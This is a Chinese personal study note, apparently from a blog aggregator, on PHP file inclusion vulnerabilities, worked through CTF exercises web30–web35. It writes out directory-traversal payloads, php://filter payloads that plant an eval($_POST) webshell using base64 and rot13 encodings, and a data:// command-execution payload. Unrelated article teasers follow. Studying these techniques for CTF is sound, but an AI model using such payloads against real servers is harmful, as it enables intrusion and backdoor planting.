【心得】PHP文件包含基本利用个人笔记

news/2024/5/19 22:47:59 标签: 笔记, 安全, php, 开发语言, CTF, WEB

本文可能比较凌乱,快速总结保证自己看得懂(真.个人笔记

文件包含的本质:代码复用、并行开发、模块化、增加移植性

include和eval的区别:

include和eval一样,都不是函数,都是语言结构,无法通过配置文件函数禁用来禁用

include后面跟一个路径,表示要执行的php文件的路径,读取路径中文件内容后,然后执行里面的php代码

php常见的文件包含函数,语言结构

include 仅仅是包含这个文件,如果文件不存在,那么也没啥大不了,继续执行后面代码

require 必须给老子包含好这个文件,如果没包含好,我就摆烂不执行了,报错

include_once 包含一次 遇到错误继续执行

require_once 成功包含一次,遇到错误停止

include "flag.php";

文件包含漏洞,是指通过文件包含时,包含的内容我们用户可控

例题1:web30

payload:

?file=/var/www/secret

这个文件不含php代码

当包含的文件没有php代码时,一律认为是文本文档(相当于任意文件读取)

php伪协议

1.什么是协议?

网络层协议:IP、ICMP、ARP、IGMP

应用层协议:http,https,ftp,ssh,gopher

2.协议的格式

协议头://内容

3.php中的协议

file协议

http协议

ftp协议

data协议

phar协议

4.file协议

不写协议名字,就默认认为是file协议

相对路径和绝对路径

相对路径转了绝对路径

flag.php index.php /var/www/html  include "flag.php"  include "file:///var/www/html/flag.php";

include "flag.php";

include "../html/flag.php";     "/var/www/html/../html/flag.php"

上层目录特性

1.每个目录都有上层目录

2.根目录的上层目录是根目录本身

/var/www/html/../../../  => / 目录

/var/www/html/../../../../../../../../../  => / 目录 上溯

php目录整理特性

/var/www/html/suibian/../flag.php

=>php解析为/var/www/html/flag.php

(事实上suibian这个目录并不存在,所以系统会报错,但php的目录整理特性不会报错)

例题2:web31

 显然一个目录穿越

payload:

?file=../../../../../../../flag

5.http协议

配合文件包含,可以读取远程的php代码并在本地执行,最终实现RCE的效果

6.ftp协议

默认21端口,进行文件传输的协议

7.php协议

php://input

 php://input可以读取没有处理过的POST数据(即原始数据)。相较于$HTTP_RAW_POST_DATA而言,它给内存带来的压力较小,并且不需要特殊的php.ini设置。php://input不能用于enctype=multipart/form-data

例题3:web32

注意bp传post必须要以key-value的形式,所以这里只能抓包传post

ps:不能直接传/flag,/flag为文件的内容,而非文件的路径 

即文件路径是php://input,文件内容是/flag(因为没有php标记,所以被当作文本文档处理)

php://filter

本质就是在读取之前对内容进行了一次过滤

例题4:web33

?file=php://filter/write=convert.base64-decode/resource=1.php

content=PD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWzFdKTs/Pg==

(明文:<?php phpinfo();eval($_POST[1]);?>)

访问1.php,写马成功,下略

例题5:web34

 死亡die绕过

这里用rot13方便写

<?php eval($_POST[1]);?>

rot13编码后:

<?cuc riny($_CBFG[1]);?>

payload:

?file=php://filter/write=string.rot13/resource=1.php

content=<?cuc riny($_CBFG[1]);?>

访问1.php,成功写马,下略

8.data协议

data伪协议以内容为导向

例题6:web35

?file=data://text/plain,<?php system('tac /f*');?>


http://www.niftyadmin.cn/n/5193493.html

相关文章

第五章 树和二叉树(上)【基本概念性质和二叉树遍历】

1.树的概念 1.1 树的基本定义 树:n(n>0)个节点的有限集合&#xff0c;是一种逻辑结构&#xff0c;当n0时为空树&#xff0c;且非空树满足: 有且仅有一个特定的称为根的节点.当n>1时&#xff0c;其余结点可分为m (m >0) 个互不相交的有限集合&#xff0c;其中每个集合…

Linux gdb调试的时候没有对应的c调试信息库怎么办?

gdb 调试报错&#xff1a;Missing separate debuginfos, use: debuginfo-install glibc-2.17-260.el7_6.6.x86_64 在centos7上面gdb调试程序时候&#xff0c;报错信息是&#xff1a; Missing separate debuginfos, use: debuginfo-install glibc-2.17-157.el7_3.5.x86_64 解决…

自学嵌入式,已经会用stm32做各种小东西了

自学嵌入式&#xff0c;已经会用stm32做各种小东西了 1、stm32 工程中&#xff0c;定义一个变量&#xff0c;记录复位次数&#xff0c;即复位一次变量加一。要求不许用备份寄存器和 flash 保存信息。本题只讨论不断电热启动情况&#xff0c;至于冷启动&#xff0c;不在此讨论。…

二维码智慧门牌管理系统升级解决方案:高效运营,信息尽在掌握

文章目录 前言一、升级要点二、方案优势三、应用场景四、客户案例 前言 在这个日新月异的时代&#xff0c;二维码智慧门牌管理系统已经成为了各行各业的标配。为了更好地满足用户需求&#xff0c;提升运营效率&#xff0c;我们推出了全新的升级解决方案。这个方案将让你轻松掌…

深度学习交通车辆流量分析 - 目标检测与跟踪 - python opencv 计算机竞赛

文章目录 0 前言1 课题背景2 实现效果3 DeepSORT车辆跟踪3.1 Deep SORT多目标跟踪算法3.2 算法流程 4 YOLOV5算法4.1 网络架构图4.2 输入端4.3 基准网络4.4 Neck网络4.5 Head输出层 5 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; *…

记一次解决Pyqt6/Pyside6添加QTreeView或QTreeWidget导致窗口卡死(未响应)的新路历程,打死我都想不到是这个原因

文章目录 💢 问题 💢🏡 环境 🏡📄 代码💯 解决方案 💯⚓️ 相关链接 ⚓️💢 问题 💢 我在窗口中添加了一个 QTreeWidget控件 ,但是程序在运行期间,只要鼠标进入到 QTreeWidget控件 内进行操作,时间超过几秒中就会出现窗口 未响应卡死的 状态 🏡 环境 �…

zsh和ohmyzsh安装指南+插件推荐

文章目录 1. 安装指南2. 插件配置指南3. 参考信息 1. 安装指南 1. 安装 zsh sudo apt install zsh2. 安装 Oh My Zsh 国内访问GitHub sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"这将安装 Oh My Zsh 和所…

学习c#的第十九天

目录 C# 特性&#xff08;Attribute&#xff09; 规定特性&#xff08;Attribute&#xff09; 预定义特性&#xff08;Attribute&#xff09; 创建自定义特性&#xff08;Attribute&#xff09; C# 反射&#xff08;Reflection&#xff09; 优缺点 反射&#xff08;Refl…